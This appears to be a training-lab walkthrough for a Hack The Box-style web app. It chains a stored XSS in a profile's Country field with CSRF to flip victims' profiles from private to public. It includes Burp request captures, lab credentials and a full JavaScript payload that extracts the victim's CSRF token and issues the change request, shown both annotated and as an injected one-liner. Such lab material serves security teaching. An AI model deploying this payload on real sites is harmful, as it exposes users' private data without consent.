MAKING PROFILE PUBLIC
any user that views this target's "public" profile page will become a victim of the xss & csrf chaining attack. this attack impacts the confidentiality of the victim's profile as it becomes public.
#step 1: determine whether the application is vulnerable to csrf
#click the buttons to identify functions that could be vulnerable
root@oco:~$ BROWSER > {targetSite:port/app} > {Delete}
Are you sure you want to delete your account?
Email:
julie.rogers@example.com
- the email address was reflected back to the user on the window and the url
- URL: http://minilab.htb.net/app/delete/julie.rogers@example.com
#test whether the reflected email address (URL & windows) is vulneable to injection
root@oco:~$ BROWSER > http://minilab.htb.net/app/delete/<h1>h1<u>underline<%2fu><%2fh1>
Email: <h1>h1<u>underline<%2fu><%2fh1>
Telephone: (834)-609-2003
Country: United States
* click the "delete" button
Are you sure you want to delete your account?
Email: (834)-609-2003
h1>h1underline
* $2f is the URL encoding for /
* replace the email address with HTML to test an injection attack
- the test input was reflected back
- http://minilab.htb.net/app/delete/h1%3Eh1%3Cu%3Eunderline%3C%2fu%3E%3C%2fh1%3E
#inspect the source code
root@oco:~$ BROWSER > {targetSite:port/app/delete/<h1>h1<u>underline<%2fu><%2fh1>} > CTRL + U
<div class="subtitle" style="color: black;">Email: <div style="color: gainsboro;"><h1>h1<u>underline</u></h1></div><input name="csrf" type="hidden" value="4b2de661052d7146b2724c09ffaa1c8e998d03e2" meta-dev='testdata'
* you should notice that the injection happens before a single quote
- this can abused to leak the CSRF-Token.
#step 2: identify other parts of the webapp to determine whether it's vulnerable to xss
#perform automated discovery
root@oco:~$ sudo nano /etc/hosts
10.129.179.203 minilab.htb.net
root@oco:~$ burpsuite &
BURP > Proxy > Intercept > Open Browser
BURP > BROWSER > {targetSite:port}
Email: crazygorilla983
Password: pisces
* forward all requests to get to the profile page
BURP > BROWSER > {targetSite:port}/app
email: {arbitraryValue}
phone: {arbitraryValue}
country: {usa}
* make changes to the field to determine which one is vulnerable to xss
- click save
Requests
...
POST /app/save/ela.stienen@example.com HTTP/1.1
Host: minilab.htb.net
Content-Length: 72
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://minilab.htb.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://minilab.htb.net/app/
Accept-Encoding: gzip, deflate, br
Cookie: auth-session=s%3ARXDRi7lypqv-HUR_PwzBHH19Htuxv3Ng.UlGIXWYWWuBZwxZCgLnmeS6a8TcnLbTsxjq3Oew3lIU
Connection: keep-alive
email=ela.stienen%40example.com&telephone=%28402%29-455-9682&country=USA
* stored XSS vulnerability identified on the application's "Country" field "usa" input
- leverage the stored XSS vulnerability to issue a state-changing request against
the web application.
- A request through XSS will bypass any same origin/same site protection since
it will derive from the same domain!
#step 3: develop the appropriate JavaScript payload to place within the Country field of the user's profile
#targeting Change Visibility can cause the disclosure of a private profile.
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > "Make Public"
* Forward all requests so that the user's profile becomes public
#step 4: develop the payload
root@oco:~$ nano csrfPayload.txt
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/app/change-visibility', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf='+token+'&action=change');
};
</script>
* this payload will successfully execute a CSRF attack that will change the
victim's visibility settings (from private to public and vice versa).
- all the other victims has to do is view the profile page
# this code snippet creates an ObjectVariable called req, which is used to generate a request. the var req = new XMLHttpRequest(); is the one that will be sending the HTTP requests.
- var req = new XMLHttpRequest();
req.onload = handleResponse; // the onload event handler, performs an action once the page has been loaded
req.open('get','/app/change-visibility',true); // three arguments are passed. get is the request method, /app/change-visibility is the target path and the "true" argument will continue the execution.
req.send(); // this will send everything constructed in the HTTP request
# this code snippet defines the function that handles the response
- function handleResponse(d) {
// this defines a variable called token, which gets the value of responseText from the page
// this looks for a hidden input field called csrf and \w+ matches one or more alphanumeric characters
// the "csrf" name may be different on other targets
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
// this constructs the HTTP request that will be sent through a XMLHttpRequest object
var changeReq = new XMLHttpRequest();
// this changes the method from GET to POST. The first request was to move us to the targeted page and the second request was to perform the wanted action.
changeReq.open('post', '/app/change-visibility', true);
// this sets the Content-Type to application/x-www-form-urlencoded
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// this sends the request with one param called csrf having the value of the token variable, which is essentially the victim's CSRF token, and another parameter called action with the value change.
// These are the two parameters that were noticed while inspecting the targeted request through Burp.
changeReq.send('csrf='+token+'&action=change');
};
- procedure for identifying the name of a hidden value if it is not actually "CSRF".
BROWSER > {targetSite:port} > F12 > Inspector Tab
Search: csrf
<input name="csrf" type="hidden" value="b984436d...">
* NOTE: If no result is returned and you are certain that CSRF tokens are in place, look through various bits of the source code or copy your current CSRF token and look for it through the search functionality. This way, you may uncover the input field name you are looking for. If you still get no results, this doesn't mean that the application employs no anti-CSRF protections. There could be another form that is protected by an anti-CSRF protection.
root@oco:~$ BROWSER > https://codebeautify.org/multiline-to-single-line
* this will beautify the JavaScript code into one-liner
#step 5: exploit and weaponize the xss vulnerability on the "Country" field using the payload
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage
Country: <script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open('get','/app/change-visibility',true);req.send();function handleResponse(d) { var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/app/change-visibility', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf='+token+'&action=change');};</script>
* submit the payload by clicking save
#step 6: expected target trigger
#target log's in to their profile
root@target:~$ BROWSER > New Private Windows > http://minilab.htb.net
Email: goldenpeacock467
Password: topcat
* this is a user that has its profile "private." No "Share" functionality exists
#target view's another user's profile
root@target:~$ BROWSER > http://minilab.htb.net/profile?email=ela.stienen@example.com
* when the main target views another user's profile, they'll trigger the CSRF exploit
#
root@target:~$ BROWSER > {targetSite:port}/mainTarget'sUserProfile
* when the main target goes back to their usual profile page and refresh/reload the page, they will see that their profile became "public" (notice the "Share" button that appeared).
Last updated